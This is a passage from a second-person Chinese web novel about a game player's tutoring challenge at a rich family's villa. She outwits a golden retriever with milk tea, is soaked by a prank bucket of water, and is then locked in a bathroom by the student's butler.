根据之前的聊天记录，你得知这份家教工作是一个学长给你介绍的，你要教的是一个高三学生。
今天是第一次试课，所以只有一小时。
试课也有工资，结束后无论满意与否，都会支付你至少2000元；学生满意的话，还会支付你额外的奖金。
看到2000元的时候，你不由张大了嘴。
其实，你看到任务地点是馥桂茗苑六号别墅时，就隐隐猜测要教的学生家庭条件不错。
毕竟，游戏就差点给别墅起名为富贵名苑了。
你猜住在这里的纸片有钱人不喜欢这么土的名字，游戏才折中选了“馥桂”二字。
上千元一小时的补课费你不是没听过，但据你所知，那都是重点高中有名的老师私下补课的价格。
你也有出去补课勤工俭学的同学。
据你了解，一小时也就两三百块，这还是你们大学在当地很有名的前提下。
之后，对方表示要派车来接“你”。
你疑惑低头看了看自己身下的自行车，接着往下翻去，很快你得到了答案。
原来，是游戏里的“你”非常客气表示「不用麻烦了，您发个地址给我，我自己赶过去就行。」
你看到“你”的回复：“……”
合着“你”自己赶过去，就是骑着自行车？
爬盘上路，进别墅区，靠两轮的自行车？
你猜对方也料不到“你”打算骑自行车赶来，没有再多“让让”你。
毕竟，你也没料到“你”是这么自强又环保的人……
啊，你突然意识到“你”帆布包上的地球图案和4.22不仅仅是个巧合。
游戏，还真是个面面俱到的细节小天才，底层逻辑满满。
你再往下翻，看到了对方分享的具体位置。
你点开看了眼，咦，距你只有两点六公里？
你骑着自行车，就算晃晃悠悠，十几分钟也到了。
那游戏为什么给了你三个小时？
9. 男高家教挑战（2）
信息有限，时间有限，外加你不是福尔摩斯，你无法得出答案。
你继续在帆布袋里翻下去。
你拿出小钱包，打开，里面有一张学生卡，你看了下，原来“你”在游戏里是英文系大二的学生，难怪你成了英文家教。
你又拿出笔记本，翻看里面的内容，没有你想象中的什么特别信息，里面是“你”精心准备的上课内容。
你没有太多时间，快速浏览了遍，都是语法知识点，没什么特别复杂的内容。多亏你这学期正好在备考英语六级，把高考后迅速抛之脑后的英文知识又捡回来不少，才能这么没什么磕绊看下去。
你浏览一遍，做到心中有数，便合上笔记本放回包里。
你准备等会儿讲课的时候“不要脸”地照本宣科，反正你的任务只要量，不要质，你只需要完成一小时的家教课就行了。
翻完包，你又检查了一下自行车。你在自行车上找到了一个扁扁的小盒子，你打开一看，里面装着扳手之类的各种工具，看样子是修自行车的工具箱。
没想到，游戏里的“你”还会修自行车。
从头到尾检查过一遍，你发现这只是一辆很普通的自行车，没什玄机。
一系列的翻找消耗了大量的脑细胞，你觉得自己十分需要吸溜几口奶茶补补糖分。
你跨上自行车，从外卖袋里抽出吸管、剥开，动作帅气戳开塑料封口。
你搅一搅，又搅一搅，三搅一搅，然后狠狠吸溜一大口。
醇厚的奶盖、甜滋滋的香草冰淇淋和甘涩的红茶底一同涌入口腔。
啊，人间美味，你感觉自己的血条瞬间恢复到50%。
再来一口，小珍珠也噗噗上来，你嚼一嚼，又嚼一嚼，三嚼一嚼，血条70%了。
第三口，这次是应有尽有，血条恢复到100%的你蹬上自行车，往前冲。
你两脚蹬得飞快，夏日的风和葱绿的树影都被你甩在身后。
如果背景不是盘山公路，现在的你像极了掠过海面腾飞而起的海鸥。
迎面，是夏风的味道，是自由的气息；俯身，是人间留得住的奶盖冰淇淋红茶。
你在山路上飞骑，仿佛漫画女主角，向后飞扬的发丝是一眼看去轻易忘不了的生命力。
骑了有一会儿，你远远看到别墅区的大门、一左一右站着的两个男人。
你下意识减速，随着自行车的慢滑，你渐渐看清他们夏日里过于整齐严肃的一身黑西装和黑墨镜。
你停下自行车，抬头望望碧蓝的天空，太阳灿烂无比照耀着，你疑惑，他们难道不热吗？
你把车和包里翻个遍也没找到车锁，只好任自行车这样停着。
你朝大门方向走，门前两个男人的目光也一直跟着你由远及近。
他们不仅人高马大，站姿也训练有素的模样，墨镜下绷紧的面部线条更是让你不由猜想他们是守关的小boss。
你想，你要进这个门，怕是要费上一番周折。
你在两人身前正中站住，目光在两人身上悄摸摸溜达一圈，两人都二十后半段三十出头的模样，因背手动作支起的上臂肌肉十分发达。他们拎起你扔出去的话，怕是可以一手一个。
你一番观察下来，放弃左边那个眉心有几道浅浅竖纹的男人，你推测他平时一定没少皱眉，是不好惹的角色。
你朝右边那个男人走去，你仰高头，露出微笑，正准备套近乎喊声“大哥”，不料，他迅速收脚立正，朝你敬了个礼。
你：“？？？”
你的“大哥”被噎了回去。
他开口问你：“您是家教老师吧？”
“你怎么知道？”你脱口而出。
他：“傅先生的管家一早打过招呼，说您大概会在这个时候抵达，通知我们放行。”
傅先生？你猜这就是你的雇主。
姓傅，一听就很有钱。
毕竟就你所知，他们老傅家最穷的，就是傅文佩了。
但你还是好奇，这个时段来的应该不止你一人吧。难道他们严谨到把你简历里的照片发给门卫看了？
这里的准入这么严格的吗？
你指着自己的脸问他：“您见过我的照片？”
他没说话，朝你身后抬了抬下巴。
你回头，那里孤零零停着你的小粉自行车。
你……好像懂了。
大概，他们这里一天也见不到一个骑自行车来的。
所以，对上你的身份应该还挺容易的……
你深吸一口，转回头，微笑：“那我可以进去了吗？”
“当然可以。”他说着不知做了什么，气派的大门在你面前缓缓打开，他弓手做出“请”的动作。
你走出两步，不放心回头，指着自己的自行车礼貌问：“能请您帮我看一下我的自行车吗？”
你见他始终绷紧的脸部肌肉垮了，顿了足足一秒才对你说：“您可以带着您的爱车一进去。”
你的爱车……他说话可真礼貌，也不歧视你的车，你觉得这个大哥很适合去4s店上班。
你回身骑上你的“爱车”，进了大门。
别墅区很大很安静，你一路下来，竟一个人影也没见到，多亏你有手机导航，才顺利找到了目的地。
你停下车，看了眼手机上的倒计时，三个小时的限时刚过去半小时。
到现在为止，一切似乎都很顺利。难道，是你转运了？
眼前的独栋别墅和你刚刚路过的别墅明显不同。
看着像是新中式的建造风格，你打外面踮脚看去，只能瞧见白墙连绵，黛瓦错落。
你走到庄重高大的黑漆门前，发现门没关严，留着一拳大小的缝隙。
你猜，在这里工作的佣人应该收入颇丰，不会犯这样忘记关门的错误。
你盯着阳光的光柱顺着那缝隙折进去，再没了后续，脑中不由浮出四个字：
「请君入瓮。」
别怪你多心，实在是你一路到这里太过顺利，比德芙巧克力还丝滑。你上一次游戏反复失败的经验让你很难不多个心眼。
你该伸向门的食指迟迟没推出去。
你犹豫再三，从帆布包里拿出笔袋，挑出支最长的笔，朝面前的门戳了下去。
厚重的门被慢慢推开四十五度，没有你预料中的一盆水从天而降，但你还是谨慎站在门槛外。
你朝里面唤了几声没人应答，才用笔彻底把门推开，迈了进去。
你回身将厚重的门慢慢关上，正当你犹豫要不要如之前那样留个拳头大的缝隙，就感觉背后有什么朝你扑来。
你转过身，但还没等你看清，就感觉双肩一重，你下意识朝自己左肩看去，就见一只浅黄的毛茸茸爪子搭上了你的肩膀。
你似乎……还听到什么贴在你耳边喘气。
你僵着脖子转过头，就见一只大金毛在你脸前放大，毛茸茸的大爪子搭在你两肩，正伸着舌头对着你的脸“呼哧呼哧”。
你吓到连惊叫都忘记，呼吸都在这一刻静止。
你的大脑彻底停摆，空白一片，很快，你眼前似乎什么也看不清了，完了，你似乎要晕倒了。
不行！
你闭上眼，努力让自己忽略眼前的大狗，你在心里一遍遍告诉自己：
这是游戏，这是游戏，都是假的，狗不会真咬你的，咬你也不会疼的，你不会被咬死，别害怕，别害怕，你得做点什么。对，你得做点什么，不能让它一直搭着你的肩膀……
你心里做了无数遍心理建设，终于握紧双拳睁
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开眼，然后，你惊讶发现搭在你肩膀上的金毛消失了。
消失的不仅是金毛，还有你还没看清的那栋别墅。
你似乎……回到了游戏空间。
怎么回事？
你试探着呼叫系统：“系统？”
随之，四周响起立体的电流滋滋声，随后电子感十足的男音响起：“欢迎玩家回到游戏空间。”
你真的来到了游戏空间？
你不明所以问：“发生了什么？我刚刚不是在游戏里，怎么会突然来到这里。我连游戏目标都没见到，就成功了？”
系统：“经过查询，您在游戏中出现了不正常的心跳骤停，为了玩家的身心健康，强制您脱离了游戏。”
你：“……”
你：“你们这游戏还有心率监测？”
系统：“是的。”
你也不知道该说什么，只能硬夸一句：“你们真的好智能。”
系统：“感谢您的夸奖。”
你和看不到的系统面面相觑。
刚才的惊吓让你到现在大脑还有些短路，但你还是想到了这次进入游戏的目的。
你在脑中整理着思路，正要问出，就听系统电子音再次响起：“检测到玩家的心率回归到正常范畴，现在将再次将您传送回游戏中，3、2……”
“等等、等等，我还……”你没说完，随着系统最后一声“1”落下，你被传送走了。
你还没想好怎么面对那只金毛呢！！！！
你惊恐挣扎着挥手，下一秒，就看到自己站在了熟悉的盘山公路上。
你：“？？？”
你把丢人的挣扎惊呼咽回嗓子里，无事发生般拨开贞子般散到脸前的长发。
你飞速瞟了瞟左右两侧，还好没人看到你对着天空疯狂挣扎的一幕。
原来不是把你直接送回大金毛手下，是给你又重新开了一回。
你现在知道了，原来这关的守关小boss是狗。
你现实中就怕狗。
从前，你见到狗就躲，爸爸说你一躲，狗会以为你要和它玩耍，它越爱追你。遇到狗最好的方法就是保持淡定，装作若无其事走过去。
你尝试了几次，发现确实如爸爸所说，你不跑了，狗大多也不理睬你。
爸爸还告诉你，要是狗真扑上来，你千万不要跑，要俯下身来装作捡石头要打它，狗看到了自然会跑。
这个理论，你至今还未实践过，因为现实中你遇到的狗都是宠物狗，它们大多不具有攻击力。
上回合大金毛猝不及防扑上来，你甚至都没有看清它是怎么扑上来的，更别说弯下腰来捡石头假装要和它战斗。
虽然你是相信爸爸的理论，但未经实践的理论就只是理论，你是不敢和站起来能搭上你肩膀那么大的金毛玩“对峙”游戏的。
你得另辟蹊径，看来，你还是得智取。
既然不能征服它，你决定与它化敌为友。
你打算给它买个狗狗喜欢的玩具，一见面就抛出去贿赂它。你在前不着村后不着店的盘山路上，上回合你一路骑上去也没见到商店，于是，你打开了外卖软件，搜索「宠物用品」。
一番搜索下，你死心了，最近的宠物用品商店外卖距你13公里，预计送达时间要一个十八分……
你虽然时间充裕，但没有充裕到等个一个多小时的外卖。
你又一次发现，这个游戏真是没一样东西是白给的，三小时的时限，把你这条张良计直接卡死了！
想到这里，你突然灵光一闪，对了，游戏这次把你的奶茶也带进来了。
你盯着手里又恢复成满满一杯初始状态的奶盖冰淇淋红茶，向自己发出灵魂一问：
这杯奶茶或许就是你通关金毛小boss的诀窍？
10. 男高家教挑战（3）
你如上一回合骑车赶到别墅区门口，这次你没将车停在远处。
你直接骑着车上前，和右边相对面善的门卫打招呼。
他如上一回合问你：“您是家教老师吧？”
你有种和游戏NPC对话的感觉，你淡定点下头，并反问：“傅先生的人应该和你打过招呼了吧？”
你见他听到“傅先生”三个字，脸上的最后一丝戒备也松懈下来。
他二话不说开门放行，你蹬上车，比上一次更快进入了别墅区。
这次，你轻车熟路来到了六号别墅前。
你把车停下，走到仍是留着一拳缝隙的黑漆大门前。
这次，你没像上回合那样翻出一支笔来小心推门，你也没提前询问里面是否有人，因为你知道并不会有人来回应你。
你伸出手掌，坦坦荡荡将门推到最大，然后迈了进去。
你并未如上次一般回身轻手轻脚关上门，你直接将门反手带上，所以，你清晰看到大金毛是如何跑下台阶，兴冲冲朝你飞奔而来。
你没有退后，也没有弯腰，你站得笔直，同时左手悄悄伸向了右肩挎着的帆布袋里。
你从里面拿出奶茶，把提前剥开的吸管帅气无比戳进去，塑料封口应声而破，你双手捏紧杯身，对准直奔你而来的大金毛。
大金毛或许是被你手上华丽的动作唬住，朝你奔来的速度明显慢下来，当然，它也有可能是在评估你的攻击性。
你直勾勾盯着它一步步而来，这导致它最后几步的靠近慎重了许多。
你估计你们之间的距离差不多了，两手用力一捏瓶身，深红色的茶汤朝空中呲一下喷出。
你看大金毛果然顿住脚步，朝头上方划出一道抛物线的深红茶汤看去。
你趁机又连捏了几下，并换着方向吸引它的视线。
你左面洒洒，右面喷喷，水柱时长时短，时高时低。
大金毛看着流星雨一样在它身边洒起的水柱，开心地左扑扑、右扑扑。
你忐忑的心跟着放松下来。
果然，大金毛领会到你和它玩的友好意图，放弃了由它主导的搭你肩膀的这种“恐怖”游戏。
你这样做的灵感来自你多年前看过的一部泰剧，剧里的女主女扮男装在男主家里当佣人，女主养的大金毛总是陪她一起做各种家务。
当时，小小的你只会隔着屏幕感叹女主养的金毛好可爱。可就在刚刚，你看着又一次完整的奶茶和吸管，灵光一闪，想到了金毛叼着长长的水管帮女主浇灌草坪、边浇边玩的画面。
机智如你，没有一部电视剧是白看的！
明媚灿烂的阳光下，你拿着一杯奶茶和大金毛玩得渐入佳境。
你的奶茶容量有限，很快再挤不出漂亮的红色茶汤来，它盯着你手里的奶茶杯呼哧呼哧伸着舌头，你明白它是想让你再继续。
但你道具有限，无法满足它的要求。
你不由可惜，早知道让室友请你喝大杯了，可惜，世界上没有“早知道”……
你正愁怎么拒绝它亮晶晶看你的可爱眼神，一声喜怒不辨的“雨果！”从远处台阶方向传来。
你抬头，迎着阳光看去。
台阶上方站着个男人，高而挺拔，在灰色的石阶上拉出瘦长的影子，短T卫裤，露出的手臂是健康的小麦色，梳着一头利落的短发，眉眼五官这个距离看不清。
你有些惊讶，这个人是什么时候站在那里的？是你一进来时，他就站在那里，还是他发现狗狗跑出来，跟着追了出来。
你皱眉想了想，发现你竟然毫无线索。无论是第一回合，还是刚刚，你一直都没注意到那里站着一个人。而且，即使你逆光看不清他的脸，也能感觉到他是那种骨相出众、人群里一眼错不过的存在。
你谨慎站在原地，没有开口。然后，你看他抬起手臂，冲着你身前方向招手，重复了句：“雨果。”
你再低头，就见前一刻和你玩得很开心的大金毛，哦不，是雨果，怏怏耷拉着耳朵，一步一晃朝台阶方向不紧不慢走去。
你盯着“雨果”一步一摇的后臀，险些没憋出噗嗤笑出声来。但你很快反应过来，落后几步跟上雨果，朝台阶方向走去。
你们一狗一人，慢悠悠走到台阶前。
你仰头，这次，看清了他的脸。
他生得比你预料的还好看，眉浓而深，肆意斜飞着，自上而下看你，眉眼唇鼻俱是飞扬的桀骜。
而且他真的很年轻，比起男人，你更该称呼他“男孩”。
你们台阶上一上一下，隔空对视。
你想，他若再大上几岁，不这样满脸青春，你恐怕会被如此一言不发的他唬到。
可惜了，你对他的身份已猜出个七七八八。
“傅同学。”你用的肯定语气，当然，你也是在赌，毕竟赌输了，你也一无所失。
他也有样学样：“苏老师。”
苏老师？
他的称呼让你愣了下，这才记起你初初进入游戏时亲手输入的游戏ID「MarySu」。
这一刻，你很庆幸他没有叫你玛丽老师，否则，你好不容易绷起的小脸一定会瞬间破功。
你面无表情点了下头，认下苏老师的身份。
你肉眼可见他敛了眉眼间的锋锐，冲你礼貌勾起一抹笑：“苏老师，我可站在这里恭候你许久了。”
你：“……”眨了眨眼，又眨了眨眼，怀疑自己看到了京剧变脸。
他朝站在你们中间的大金毛招了招手，示意它上前站到他身边。你看他弯下腰，动作轻柔摸了摸金毛的头，然后再次仰脸看你：“老师，你看我没说错吧？我的‘雨果’一看到你，都迫不及待冲上去欢迎了？”
很奇怪，短短不到一分钟，好像轮转的不是你们的站位，而是你们的地位。
由你仰视他，到他仰视你，这个角度，你发现他望着的你的睫毛纤长卷翘，对你说话时嘴角似乎总是带着上翘的弧度……
明明是同一个人，却似乎变了另一张脸，不，或许该说是换了另一种性格，前一刻那个桀骜不驯的少年仿佛只是你的臆想，你突然觉得他很……'');(window.adbyunion = window.adbyunion || []).push(id);})();
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乖。
他见你不回答他，转而又和蹲在他腿边的“雨果”说起话来，他不轻不重拍了下“雨果”的头，你下意识跟着他的动作看去。
就见他刻意压着原本清朗的少年音对“雨果”说：“你看，叫你不乖，都吓到苏老师了。快和苏老师道歉。”
或许是出于你刚刚和“雨果”一起玩耍的情谊，或许是出于人际交往的客套，你冲他摆了摆手，对蹲在地上的他们一大一小说：“没关系，不怪雨果。”
“苏老师真是个大度的人。”他又一次抬头看你，冲你扬起个笑脸，露出的牙齿在阳光下衬得他唇色红润，“要是一会儿我不小心惹到了苏老师，苏老师可不能偏心，也得原谅我一次。”
你说不清你现在是怎样的感觉。
你明知道他今年才上高三，才十八岁，可你就是有种看不透他的感觉，你甚至一时不知道该拿怎样的态度对待他。
你明明一开始打算做个严师，但在他仿佛春花初绽的笑容里失去了板住脸的能力。
再加上现实中从没这样好看的异性用这样亲昵又带着……撒娇的语气和你说话，本就不能言善辩的你彻底卡壳了。
你宕机的大脑僵硬点了点，仅存的理智催促你赶紧开始上课，于是你对他说：“傅同学是吧？”
“对。”他笑眯弯了眼，仿佛你知道他名字是什么让他十分愉悦的事情。
你躲开他热情璀璨的直视，清了清嗓子：“我们赶紧上课吧。”
他说：“好。”
你盯着脚下灰色的石阶，问他：上课的地方在哪里？”
“见到苏老师太高兴了，我差点忘记这一茬了。”说着他站起身侧开了些，指了指后面，“我的书房在二楼。”
你抬头顺着他手指方向看去，那里是一扇门。
你余光瞥到他冲你眨了下眼，然后你听他压低了些声音：“当然，老师要在我的房间上课也是可以的。”
你惊讶转头看他。
原来，这一关的拦路虎是男色。
这是要考验你的师德？
考验别的你可能还会担心，你对自己的德行十分有信心。
「该生不迟到、不早退、上课认真听讲、课后认真完成作业、友爱团结同学……」这些都是你小学六年每年「老师评语」栏目里的常驻嘉宾。
你打小就是个根正苗红的人，什么德行都有，虽然“师德”是第一次体验，但你相信自己可以。
更何况，他只是高中生，在你心里压根不算男人。想想你上初中的时候，他还在上小学，初中生是绝不可能看上小学生的！
想着，你便底气十足，迈开正直的步伐，大手一挥拨开拦在路中间的他，朝大门走去。
你昂首挺胸，头也不回朝后面冷声吩咐：“傅同学，跟上吧。”
“好的，苏老师。”他乖巧回答。
你听到身后响起一人一狗跟上来的脚步声，手搭上门把，用力向下一压，门打开，你迈过门槛。
不料，一盆冷水从天降下，兜头将你浇个正着。
11. 男高家教挑战（4）
你被突如其来瓢泼而下的水砸弯了头。
一同被砸落的还有你的理智。
你惊讶震惊、不可思议看着胸前的长发海带一般湿成绺，发尖滴滴哒哒向下滴着水，打在铅灰的大理石地面，绽成一朵朵透明的小水花。
你心中千万头草泥马奔过，你愤怒紧握双拳，你想好生问候身后某位奥斯卡演技的傅同学。
可你忍、住、了。
你感觉你现在越怒不可遏，越落了下乘。
你深吸一口气，准备伸手拨开两边挡脸的头发，冲他咯咯乱笑，对，你准备用美丽的精神状态吓死他。
你正犹豫要不要冲他吐舌头，一只大手伸进了你被长发遮挡的视线阴影里。
你愣了，一时弄不清他这是什么操作，双眼一眨不眨盯着他近在咫尺的指尖。
修剪干净的指尖带着清浅的薄荷香，小心拨开你垂在脸前的长发，你得以重见光明。
你没说话，因为你也不知道此刻该说什么。
你们一前一后静默站在门内的阳光里，他不知从哪儿变出一方手帕捏在手里，正小心翼翼帮你一绺一绺从发根到发尾细细拭干头发。
他动作间是小心也遮掩不住的笨拙，但他并未扯痛过你。
你想，他大概很少、甚至是第一次帮女生擦头发。
你也很少被别人擦头发。
妈妈帮你擦过几次，动作麻利中不乏粗暴，和现在的感觉很不同。
你们谁也没说话，甚至彼此都放轻了呼吸。
你静静看着他在你身前动作，阳光和尘埃在他过度用力绷起的小臂和手掌浮凸的青筋间飞舞、跳跃。
这一刻，你好像知道了小猫小狗为什么喜欢被撸，你炸毛的心情好像被他温柔的动作一缕缕抚平。
“苏老师，”他突然开口叫你。
你仰高脖子去看他的脸，他却第一次躲开了你的目光，“你没事吧？我讨厌补课，才……才让人准备了些水。”
他声音越来越低：“但我没想到你长得这么可爱，我刚才一见到……”
他含含糊糊：“一下就忘记了这一茬。”
你：“…………”
你骂他吧？他夸你可爱……
你不骂他吧，又对不起兜头浇下来的这盆水，还有被他这番动作蛊惑的嫌疑。
但你不得不承认长得好看很占优势，这么狗血的事情，他三言两语、含糊其辞，你好像已经不气了。
你恨自己不争，可他态度又真的很好。
你混乱不知道该不该轻易原谅他时，注意到他手上的动作停下了。
你看他，就见他视线四处乱瞟，就是不看你。你察觉到有鬼，多盯他看了两眼，很快，你注意到他麦色皮肤也遮不住的耳垂发红。
你察觉到什么，猛地低头一看。
胸前的发丝被他拨开后，露出了被打湿的白T，你深色的内衣轮廓若隐若现。
你二话不说，把他好不容易擦干理顺的头发一股脑拢到胸前，问：“浴室在哪里？”
经你提醒，他好像才想起这一茬，抬眼扬声朝里面唤来了个女管家。
他吩咐女管家带你去盥洗室，并给你准备一套换洗衣服。
女管家听完，面色有些为难。
“怎么了？”他问。
女管家恭敬回：“小少爷，这里只有您和大少爷的衣服，没有可供这位小姐换洗的衣物。”
他听完眉头一皱：“那就打电话叫人送来几套新的，这还要我教你。”
女管家迅速表示把你送到盥洗室就照办。
你跟着女管家上了三楼，穿过长长的走廊，来到一道房门前。她表示就在里面，之后有什么需要尽管告诉他们。
你礼貌点头和女管家告别。
你推开门，本以为里面就像酒店的套房，有一个小隔间是浴室。
却没想到这上百平米的房间就是浴室本身。
你反手带上门，农村人进城一般没见过世面把里里外外转了一圈。
你看到浴缸里放满了水，水面铺满漂亮的玫瑰花瓣时，忍不住撩起一捧水玩了下。
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游戏时间有限，你并没有时间在这漂亮的玫瑰浴缸里泡澡，你不由可惜。
你只打算简单冲一下，沐浴露还是要用的，毕竟谁知道浇下来的那盆是清水还是什么别的。
你正打算脱衣服，忽然看到对面镜子里的自己，你不由停下动作。
现在只有你一人，你也不再身处事件之中，头脑也跟着冷静下来。
其实，刚才任务目标那套说辞并未完全取信于你，你多少存疑。
或许他真像他所说的，因为某种咳咳……原、因，忘了那盆水的存在，从而没提醒你。
可如果不是呢？
如果，他是故意忘了提醒你呢？他是故意弄湿你的衣服的呢？
你留了个心眼，打开手机下了个检测酒店摄像头的app。
等待下载的过程中，你把手指尖抵在镜子上，看到指尖和镜像的指尖有一定距离，确认了这只是普通的单面镜。
摄像头检测的APP下好，你拿着手机在整个房间里检查起来，你检查得很细，角角落落都没放过。
并没有偷窥的摄像头。
你长舒一口气，果然，你想多了。
的确，你玩的又不是犯罪侦破类的游戏。
都怪之前的游戏经验，害你总是不由多想。
原来并没有什么阴谋，是你小人之心，错怪了他。
你放下心来。
脱衣服前，你打算先出去问问女管家新衣服什么时候才能送来，时间太长的话，还是先请她借一件给你吧，毕竟你的时间有限。
你朝门口走去，手搭上门把，然后，你发现门被锁了。
你用力压了压、又压了压，发现怎么也打不开……
门好像从外面锁上了。
你笑了。
被无语得笑了。
原来等着你的是个……阳谋。
上一回合，你看到那扇虚掩的黑漆门时生出的直觉并没错，的确是……
请、君、入、瓮。
只不过，这个“瓮”是在这里等你。
12. 男高家教挑战（5）
你闭眼，深呼吸、深呼吸、深呼吸、深呼吸、深呼吸……
直到勉强收拾好破烂的精神状态，才拿出手机，看了眼倒计时。
【02:15:59】
只剩两小时十五分钟。
你本来想，你潦草冲个澡最多不过二十分钟，剩下一小时五十多分钟，你讲一分钟歇半分钟都能完成规定的一个小时课程。
可现在，你不确定了。
而且你有预感，你今天就是喊破了喉咙，也不会有人来给你开门。
但你还是决定再努力努力。
于是，你学着可云发疯找孩子的模样，一下下重重从里面拍门，大声喊：“来人啊！来人啊！来人啊……”
“来人啊！来人啊！”你越喊越溜，“来人啊！来人啊！你有本事抢男人，你有本事开门啊？！”
咦，你怎么感觉自己喊窜频了？
你正回忆这句是出自哪个经典人物之口，门外好像有了……
动静？
你疯狂拍门的手一滞。
你侧头附耳在门上，屏住呼吸细听。
“苏老师，请问您有什么需要？”一道低沉的男音从门板后传来。
你讪讪放下手，默默转过身。
太尴尬了……
你憋着呼吸，企图欺骗系统，让它以为你再度心脏异常停跳，好带你离开这个尴尬至极的世界。
你憋得脸红脖子粗，熟悉的眩晕感却迟迟没出现。
你忍不住腹诽：这游戏还真不好骗。
你虚无地理了理两侧还有些潮湿的发丝，转身重新面对起门。
更确切说，是门后不知名的男性。
你清了清嗓子：“请问您是？”
“您可以称呼我为李管家。”
门上没有猫眼，你看不到他的样子，但男人的声音听起来很成熟，绝不会是你的任务目标。
你从善如流唤他“李管家”，然后一本正经明知故问：“这扇门好像坏了，我怎么从里面打不开？”
“苏老师，这扇门没有坏，是我按照小少爷的吩咐，从外面锁上了它。”门外的声音顿了下，“一会儿时间到了，我会准时为您开门。”
你被李管家坦荡的不要脸噎到了：“……”
没听到你的回复，门外的声音过一会儿再次响起，这次多了几分安抚的意味：
“您不必担心，我会一直守在门外。其间，您有任何需要，无论是吃的、喝的、玩的，都可以向我提出，我会一一为您办到。您可以当做是在酒店做Spa。”
你：“？？？”说得好听，是看着我，怕我逃出去吧？
“好吧，傅同学不就是不想上课嘛，不上就不上吧。”你装作不在乎他家小少爷上不上课的模样，“补课费会按约定给我的吧？”
“苏老师您放心，一分都不会少。小少爷刚才还吩咐，等结束，另外给您补偿车马费、洗衣费、精神损失费。”
你：“……”
还有精神损失费？有点儿太贴心了……
说实在的，现实中，你要是遇到这样的事，肯定乖乖待在里面，等到点儿被放出去，拿着天上掉馅饼的钱，开开心心走人。
才不会像现在，一门心思要逃出去给人补课。
可你在游戏里，就是给你一百万也是游戏币，你也带不出去啊。
你们两人隔着一扇门，一问一答打起了和平的太极。
你：“你能帮我叫傅同学来吗？”
李管家：“小少爷现在正在试穿明晚的晚宴礼服，一小时后要出门赴约。行程安排很紧，没法抽出时间来见您。”
你看了眼手机，现在的倒计时为【02:11:01】，也就是说，你的任务目标会在倒计时变为一小时十分钟离开别墅。
你怀抱一丝希冀：“所以……一小时后，这扇门会被打开？”
李管家：“准确来说，是一个小时十分钟后。”
你：“？？？这是怕我卡点冲出门，追着你家小少爷的车屁|股哭着喊着给他补课？”
李管家：“您能理解，就再好不过了。”
你在门后默默翻个白眼，又问：“赴什么约？”
李管家：“小少爷和家人约了午饭。”
你言不由衷：“还真是好重要。”
李管家一板一眼回：“的确。”
句句有回应，比游戏系统强多了，你安慰自己。
想问的都问到了，你得快点行动了。
你对着门板夸张长叹一口气，装作已认命，然后对门外的人说：“我想要吃韩式炸鸡，甜辣口味和芝士口味双拼，再来一罐冰可乐，可以吗？”
“当然可以。我现在吩咐下去，厨房做好了会第一时间为您送来。”李管家话头一转，“不过还是需要些准备时间，您可以先去沐浴，免得着凉感冒。”
你不再废话：“好。”
你故意弄大了脚步声，边脱衣服边朝淋雨隔间走去，你打开花洒，温热的水天女散花般细密洒下。
你在浴室里仔细观察一圈，洗护用品清一色你见都没见过的进口货。
唯一的缺点大概是它们是男士专用。
你挤了两泵沐浴露，在手心搓出泡泡，温热的水汽中瞬间飘满好闻的味道。
你贴到手心嗅了嗅，是清冷的雪松香。
但和傅同学身上的不同，他身上的味道更像是冷雨冲过的新鲜柑橘。
你特意找了找，并没有在其中找到类似的味道，所以你猜，这间浴室是给客人准备的。
你洗了一个五分钟的战斗澡，并重新穿上游戏为你准备的衣服，走出了淋雨间。
隔间内，花洒依旧“哗哗”在响，而你正踩着猫步悄悄再次来到门口。
门后，你右手捏着个从淋浴间顺出的圆柱体洗发水瓶，像一只蓄势待发的猫，蛰伏蹲在门的左侧。脖子上搭着的灰色长毛巾，垂下来的两边正好挡住之前胸前被打湿的地方。
你侧耳细听着门外走廊的动静，脑中推演着即将到来的场景：
等会儿有人来送炸鸡，门从外面一被打开，你便迅速蹿出去。为了防止你逃出，对方很有可能把托盘放进门内地上就迅速关上门。
鉴于每次八百米体测都会要你半条命，游戏系统也未曾给你什么体力加成、灵活度加成，你合理推测你的身手很有可能并不允许你趁机迅速灵活蹿出。
但体力不足，智商来凑。
你决定果真如此，便把这瓶洗发水卡在门缝里，为自己争取时间。
你耳朵贴着门，精神高度集中，把所有可能性在心中一一盘点，你甚至想到门上会不会有个隐藏的送餐小门。
就像你在外国越狱剧里看过的那种狱警给囚犯送饭时打开的小门。
这是有钱人家，没什么不可能，于是，你站起身来，将门从你抬臂能够得到的地方向下一一检查过一遍。
你确认了这只是一扇普通的门，没有特殊的“送饭”窗口。
你安心再次蹲下来，侧耳细听外面的动静。
十几分钟过去，你期待的脚步声一直未响起。
你有些后悔自己要了双拼口味的炸鸡，你想要是你只点一个口味，他们会不会做得快一些？
或许，你更该点个快手的阳春面？
忽然，你身后传来了异响。
进来时便确认过浴室里没有别人的你僵着脖子慢慢转过头……
你握紧手中的洗发水瓶，一步步朝异响来源走去，十几米的路，你谨慎的像持枪探查犯罪现场的女警。
随着你逐步接近窗前的浴缸，你察觉到了不对头。
你在浴缸前停下，低头看了眼铺满整个浴缸的玫瑰花瓣，它们异常安静，声音不像来自水下。
隐隐的响动还在继续。
你抬头，看到白色纱帘后有一道黑影。
你抬手哗一把扯开纱帘。
猝不及防的，你和窗外悬停的无人机对上了眼。
这一刻，你的沉默是轰然决堤的黄河，奔流了整片华夏大地……
贫穷限制了你的想象，你万万没想到不开门，炸鸡还可以从窗户“飞”进来。
你刚才在门后的严阵以待现在俨然成了笑话。
你推开了窗，无人机的嗡嗡飞行噪音毫无阻隔传进你耳中。
你无力感叹窗户的隔音效果卓绝，面无表情从无人机上取下精致的三层食盒提篮，果断关上了窗。
你隔着一尘不染的落地窗向下看去，三层楼的高度清清楚楚摆在你眼下。
从这里跳下去，你怕是双腿难保。
这只是个游戏，你是来教课的，不是超人，也不是来拯救世界的。
你轻易放弃了这个“拼命”的选择。
你无力滑坐在落地窗旁，
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腿边放着三层的食盒。
你生无可恋打开食盒。
第一层是芝士味炸鸡和一碟芝士粉；
第二层是裹着红亮酱汁的甜辣炸鸡；
第三层是一罐330ml的可乐、一个空的威士忌杯、一个小冰桶和六片鲜切的柠檬。
突然，你觉得可以再活一活了。
你拿起小夹子一块一块夹满半杯冰，将可乐咕嘟咕嘟倒进威士忌冰杯，最后挑了一片最大最圆的柠檬片放上去。
你张嘴大喝一口，冰凉的甜爽汽泡冲顶到上颚时，你好像真的又活了。
你不再考虑什么狗屁任务，挑了个鱼鳞脆皮炸得最漂亮的鸡腿在芝士粉碟里狠狠滚上一圈，塞进嘴里。
太好吃了！
